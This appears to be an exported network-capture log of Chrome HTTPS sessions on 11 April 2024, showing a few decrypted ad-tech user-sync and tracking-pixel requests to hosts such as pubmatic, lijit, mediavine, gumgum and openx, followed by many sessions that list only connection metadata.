Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
613	192.168.2.17	50507	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:08 UTC	1922	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5NjkmdGw9MTI5NjAw&piggybackCookie=e6ef51c6-bf79-4ef8-8306-49833c46ea9d-661855a8-5553&gdpr=0&gdpr_consent= HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; chkChromeAb67Sec=2; SPugT=1712870823; pi=0:4; DPSync3=1714003200%3A261_260_259_201_263_262%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713657600%3A63%7C1714003200%3A48_233_71_220_13_54_231_22_178_8_104_5_55_250_21_166_3_165%7C1713398400%3A15_2_223; PugT=1712870823
2024-04-11 21:27:08 UTC	676	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_188=3189-e6ef51c6-bf79-4ef8-8306-49833c46ea9d-661855a8-5553&KRTB&23418-e6ef51c6-bf79-4ef8-8306-49833c46ea9d-661855a8-5553; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 10-Jul-2024 21:27:06 GMT; path=/ Set-Cookie: PugT=1712870826; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:06 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
614	192.168.2.17	50505	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:08 UTC	1008	OUT	GET /merge?pid=102&3pid=d272def7-7f68-57e5-a617-5df95f92add8 HTTP/1.1 Host: ce.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D; _ljtrtb_76=f9abaea3-fca1-485b-bd62-08b6a30fc7ba; _ljtrtb_43=nP3HSZ_-l0mHrsJEyfjbQZzyw0OH-sVFy_pyc9ed; _ljtrtb_83=LUVR2A3B-N-5ZEP; _ljtrtb_86=sonznUQRSOx4xPFYmKH8yXtY0yq6_MGtNjthouK4crQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
615	192.168.2.17	50482	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:08 UTC	943	OUT	GET /bidRequest/?s2sVersion=production HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
616	192.168.2.17	50509	54.205.30.208	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:08 UTC	907	OUT	GET /ping_match.gif?scc=1&ei=PUBMATIC&rurl=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:_wfivefivec_&gdpr=0&gdpr_consent= HTTP/1.1 Host: pm.w55c.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: matchpubmatic=5; wfivefivec=SFkS50Wi1RV1WO5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
617	192.168.2.17	50484	3.214.33.241	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:08 UTC	427	OUT	GET /usersync?b=mag&i=LUVR2A3B-N-5ZEP HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
618	192.168.2.17	50516	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:08 UTC	811	OUT	GET /w/1.0/sd?id=537082476&val=uJS8wzsvUNNALSsYHAMcYJySJMU HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870823933947; pd=v2\|1712870819.5\|iKbwvPvMgahEgKkWg2gy.mmuYeSwrf8wI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
619	192.168.2.17	50476	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
620	192.168.2.17	50489	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
621	192.168.2.17	50495	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
622	192.168.2.17	50466	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
623	192.168.2.17	50503	3.33.220.150	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
624	192.168.2.17	50477	34.120.135.53	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
625	192.168.2.17	50485	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
626	192.168.2.17	50467	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
627	192.168.2.17	50486	34.120.135.53	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
628	192.168.2.17	50470	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
629	192.168.2.17	50453	34.239.40.49	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
630	192.168.2.17	50469	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
631	192.168.2.17	50512	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
632	192.168.2.17	50508	142.250.176.198	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
633	192.168.2.17	50511	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
634	192.168.2.17	50479	54.147.229.205	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
635	192.168.2.17	50519	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
636	192.168.2.17	50481	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
637	192.168.2.17	50514	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
638	192.168.2.17	50510	150.136.25.38	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
639	192.168.2.17	50520	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
640	192.168.2.17	50459	104.36.113.111	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
641	192.168.2.17	50474	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
642	192.168.2.17	50487	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
643	192.168.2.17	50533	18.164.96.18	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
644	192.168.2.17	50528	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
645	192.168.2.17	50518	142.250.80.66	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
646	192.168.2.17	50483	8.28.7.81	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
647	192.168.2.17	50499	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
648	192.168.2.17	50522	35.170.134.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
649	192.168.2.17	50491	44.205.174.187	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
650	192.168.2.17	50492	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
651	192.168.2.17	50565	35.244.154.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
652	192.168.2.17	50531	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
653	192.168.2.17	50473	52.20.251.183	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
654	192.168.2.17	50480	198.148.27.131	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
655	192.168.2.17	50488	104.18.36.155	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
656	192.168.2.17	50543	35.236.220.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
657	192.168.2.17	50568	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
658	192.168.2.17	50546	74.119.117.16	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
659	192.168.2.17	50527	54.83.194.95	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
660	192.168.2.17	50551	8.28.7.81	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
661	192.168.2.17	50589	34.120.135.53	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
662	192.168.2.17	50564	18.238.55.15	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
663	192.168.2.17	50540	18.210.184.52	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
664	192.168.2.17	50582	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
665	192.168.2.17	50570	54.209.123.161	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
666	192.168.2.17	50537	207.65.37.179	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
667	192.168.2.17	50529	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
668	192.168.2.17	50573	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
669	192.168.2.17	50592	18.238.55.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
670	192.168.2.17	50581	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
671	192.168.2.17	50554	104.18.25.173	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
672	192.168.2.17	50535	50.16.98.63	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
673	192.168.2.17	50534	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
674	192.168.2.17	50577	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
675	192.168.2.17	50569	8.28.7.81	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
676	192.168.2.17	50523	68.67.179.153	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
677	192.168.2.17	50524	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
678	192.168.2.17	50517	54.147.229.205	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
679	192.168.2.17	50538	44.205.174.187	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
680	192.168.2.17	50591	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
681	192.168.2.17	50561	35.186.193.173	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
682	192.168.2.17	50588	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
683	192.168.2.17	50575	18.210.184.52	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
684	192.168.2.17	50525	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
685	192.168.2.17	50566	44.195.233.246	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
686	192.168.2.17	50548	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
687	192.168.2.17	50544	34.117.239.71	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
688	192.168.2.17	50613	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
689	192.168.2.17	50579	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
690	192.168.2.17	50521	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
691	192.168.2.17	50571	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
692	192.168.2.17	50536	108.139.47.105	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
693	192.168.2.17	50541	82.145.213.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
694	192.168.2.17	50605	142.250.65.225	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
695	192.168.2.17	50578	38.68.201.140	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
696	192.168.2.17	50587	35.244.154.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
697	192.168.2.17	50603	172.64.151.101	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
698	192.168.2.17	50586	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
699	192.168.2.17	50562	162.55.120.196	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
700	192.168.2.17	50609	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
701	192.168.2.17	50608	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
702	192.168.2.17	50612	35.244.154.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
703	192.168.2.17	50597	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
704	192.168.2.17	50594	44.208.175.93	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
705	192.168.2.17	50556	216.200.232.249	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
706	192.168.2.17	50607	67.202.105.21	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
707	192.168.2.17	50600	142.251.35.162	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
708	192.168.2.17	50572	34.117.239.71	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
709	192.168.2.17	50623	54.83.194.95	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
710	192.168.2.17	50576	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
711	192.168.2.17	50620	8.28.7.81	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

